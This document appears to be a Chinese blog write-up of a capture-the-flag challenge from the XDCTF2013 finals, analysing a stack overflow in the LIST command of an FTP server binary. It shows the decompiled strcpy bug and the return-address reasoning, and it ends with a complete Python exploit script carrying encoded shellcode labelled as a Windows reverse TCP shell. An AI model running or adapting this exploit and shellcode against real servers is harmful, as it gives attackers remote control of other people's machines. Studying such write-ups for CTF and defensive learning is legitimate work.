XDCTF2013决赛FTPServer溢出分析

这是个FTP服务器程序,点击打开本机就开启21端口,提供FTP服务了。

手动fuzzing后发现,当dir命令的路径参数为520字节时,就会刚好覆盖EIP。

抓包可以发现,使用dir命令时,实际发送的数据包中的命令是LIST,如下图

既然是LIST命令出的问题,那么溢出点一定在调用「LIST」这个字符串附近。

用IDA载入,通过交叉引用找到使用LIST的函数。调试下就会在附近找到溢出函数sub_406FD0,这个函数调用strcpy()向局部变量中复制数据,造成溢出。

int __cdecl vuln(CString path)
{
  int v2; // eax@1
  char *v3; // [sp+Ch] [bp-240h]@1
  char Dst[500]; // [sp+4Ch] [bp-200h]@1
  int v5; // [sp+240h] [bp-Ch]@1
  int v6; // [sp+248h] [bp-4h]@1

  memset(&v3, 0xCCCCCCCCu, 0x234u);
  v6 = 0;
  memset(Dst, 0, 0x1F4u);
  v2 = sub_4016E0(&path); // return the array of char
  strcpy(Dst, (const char *)v2);
  v6 = -1;
  CString::~CString(&path);
  return chkesp(v5);
}


在这个函数retn时下断点,看一下这时候各寄存器的值,如下

可以看到寄存器均不指向缓冲区,因此只能使用JMP ESP作为跳板。

使用JMP ESP作为跳板需要覆盖返回地址下面的数据,如果覆盖了这块数据,就会在retn之前,调用CString的析构函数时出现异常,因此JMP ESP跳板不能使用。

仔细观察一下返回地址下面的数据,发现它其实就是输入数据的地址

因此将返回地址覆盖为一个指向retn指令的地址就可以了。

需要注意的是,strcpy函数会复制字符串末尾的NULL,因此gadget地址的高字节需要为0x00,这里我们使用00407064这个地址。

还有一点就是strcpy函数以0x00为终止符,因此在shellcode中不能出现00字符,用msfencode处理一下就好。

最终的exp程序如下

import socket

# payload/windows/shell_reserve_tcp
buf =  ""
buf += "\xb8\xbd\x99\x36\x3f\xd9\xc6\xd9\x74\x24\xf4\x5f\x29"
buf += "\xc9\xb1\x4f\x31\x47\x14\x83\xc7\x04\x03\x47\x10\x5f"
buf += "\x6c\xca\xd7\x16\x8f\x33\x28\x48\x19\xd6\x19\x5a\x7d"
buf += "\x92\x08\x6a\xf5\xf6\xa0\x01\x5b\xe3\x33\x67\x74\x04"
buf += "\xf3\xcd\xa2\x2b\x04\xe0\x6a\xe7\xc6\x63\x17\xfa\x1a"
buf += "\x43\x26\x35\x6f\x82\x6f\x28\x80\xd6\x38\x26\x33\xc6"
buf += "\x4d\x7a\x88\xe7\x81\xf0\xb0\x9f\xa4\xc7\x45\x15\xa6"
buf += "\x17\xf5\x22\xe0\x8f\x7d\x6c\xd1\xae\x52\x6f\x2d\xf8"
buf += "\xdf\x5b\xc5\xfb\x09\x92\x26\xca\x75\x78\x19\xe2\x7b"
buf += "\x81\x5d\xc5\x63\xf4\x95\x35\x19\x0e\x6e\x47\xc5\x9b"
buf += "\x73\xef\x8e\x3b\x50\x11\x42\xdd\x13\x1d\x2f\xaa\x7c"
buf += "\x02\xae\x7f\xf7\x3e\x3b\x7e\xd8\xb6\x7f\xa4\xfc\x93"
buf += "\x24\xc5\xa5\x79\x8a\xfa\xb6\x26\x73\x5e\xbc\xc5\x60"
buf += "\xd8\x9f\x81\x45\xd6\x1f\x52\xc2\x61\x53\x60\x4d\xd9"
buf += "\xfb\xc8\x06\xc7\xfc\x2f\x3d\xbf\x93\xd1\xbe\xbf\xba"
buf += "\x15\xea\xef\xd4\xbc\x93\x64\x25\x40\x46\x2a\x75\xee"
buf += "\x39\x8a\x25\x4e\xea\x62\x2c\x41\xd5\x92\x4f\x8b\x60"
buf += "\x95\xd8\xf4\xdb\xaa\x18\x9d\x19\xcc\x0b\x01\x97\x2a"
buf += "\x41\xa9\xf1\xe5\xfe\x50\x58\x7d\x9e\x9d\x76\x15\x03"
buf += "\x0f\x1d\xe5\x4a\x2c\x8a\xb2\x1b\x82\xc3\x56\xb6\xbd"
buf += "\x7d\x44\x4b\x5b\x45\xcc\x90\x98\x48\xcd\x55\xa4\x6e"
buf += "\xdd\xa3\x25\x2b\x89\x7b\x70\xe5\x67\x3a\x2a\x47\xd1"
buf += "\x94\x81\x01\xb5\x61\xea\x91\xc3\x6d\x27\x64\x2b\xdf"
buf += "\x9e\x31\x54\xd0\x76\xb6\x2d\x0c\xe7\x39\xe4\x94\x17"
buf += "\x70\xa4\xbd\xbf\xdd\x3d\xfc\xdd\xdd\xe8\xc3\xdb\x5d"
buf += "\x18\xbc\x1f\x7d\x69\xb9\x64\x39\x82\xb3\xf5\xac\xa4"
buf += "\x60\xf5\xe4"

HOST = "192.168.179.131"
s = socket.socket()
s.connect((HOST, 21))

print s.recv(4096).strip()
s.send("USER dong\r\n")

print s.recv(4096).strip()
s.send("PASS xdsec123456\r\n")

print s.recv(4096).strip()

payload = "AAAA"+ buf
payload += '\x90'*(512-len(buf))
# 00407064 retn
payload += '\x64\x70\x40'
payload = "LIST "+payload+"\r\n"

s.send(payload)


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值